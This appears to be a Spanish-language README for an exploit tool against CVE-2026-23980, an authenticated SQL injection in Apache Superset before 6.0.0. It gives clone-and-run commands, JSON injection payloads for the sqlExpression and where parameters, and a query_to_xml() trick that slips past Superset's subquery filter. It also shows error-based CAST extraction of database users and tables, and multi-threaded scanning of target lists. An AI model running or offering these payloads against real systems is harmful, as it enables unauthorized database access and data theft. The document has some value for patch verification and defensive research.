
Exploit para CVE-2026-23980 — Inyección SQL basada en errores autenticada en Apache Superset < 6.0.0 mediante bypass de sqlExpression
____
/ __ \
| | | |
| |__| |
\___\_\
sqlExpression va directo a la consulta. sin parametrización. sin esperanza.
Apache Superset < 6.0.0 permite a usuarios autenticados con acceso de lectura realizar inyección SQL basada en errores a través de los parámetros sqlExpression o where en el endpoint /api/v1/chart/data.
El filtro validate_adhoc_subquery() se evade utilizando funciones XML de PostgreSQL (query_to_xml, etc.) que ejecutan SQL como argumentos de función, invisibles para el tokenizador de sqlparse.
POST /api/v1/chart/data
-> ChartDataRestApi.data()
-> QueryContext.get_df_payload()
-> SqlaTable.get_sqla_query()
-> columna adhoc sqlExpression / extras.where inyectado
-> validate_adhoc_subquery() EVADIDO mediante query_to_xml()
-> SQL crudo llega a PostgreSQL
-> CAST((...) AS INT) el error filtra datos en la respuesta
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests
python3 exploit.py --url http://target:8088 -u admin -p admin --check
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test
# Versión de la base de datos
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT version()"
# Usuarios de la base de datos
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"
# Listar tablas
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"
# Usuario actual
python3 exploit.py ... --sql "SELECT current_user"
Cuando validate_adhoc_subquery() bloquea tu consulta (detecta FROM/JOIN):
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass
Esto envuelve la consulta en query_to_xml() que oculta la cláusula FROM al tokenizador.
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT table_name FROM information_schema.tables" --dump --rows 20
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --injection-point where
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --proxy http://127.0.0.1:8080
sqlExpression (por defecto) - inyectado en una definición de columna:
{
"columns": [{
"label": "injected",
"sqlExpression": "CAST((SELECT version()) AS INT)",
"expressionType": "SQL"
}]
}
where - inyectado en la cláusula extras.where:
{
"extras": {
"where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
}
}
El exploit utiliza el casting de tipos de PostgreSQL para filtrar datos:
CAST((SELECT version()) AS INT)
PostgreSQL no puede convertir una cadena a entero, por lo que lanza:
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."
El valor filtrado se extrae del mensaje de error en la respuesta de la API.
La función has_table_query() de Superset busca FROM/JOIN para detectar subconsultas. La función query_to_xml() de PostgreSQL ejecuta SQL pero lo oculta como argumento de función:
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')
El tokenizador ve una llamada a función, no una cláusula FROM, evadiendo el filtro.
| Versión | Estado |
|---|---|
| < 4.0.2 | Vulnerable (sin lista negra de funciones XML) |
| 4.0.2 | Corrección parcial (CVE-2024-39887 - se añadieron algunas funciones XML a la lista negra) |
| 4.1.0 | Lista negra ampliada (más funciones XML) |
| 4.1.2 | Evasión de seguridad a nivel de fila corregida (CVE-2025-48912) |
| 6.0.0 | Corrección completa para CVE-2026-23980 |
Esta herramienta es solo para investigación de seguridad autorizada. Úsala únicamente contra sistemas para los que tengas permiso explícito de prueba. El autor no es responsable del mal uso.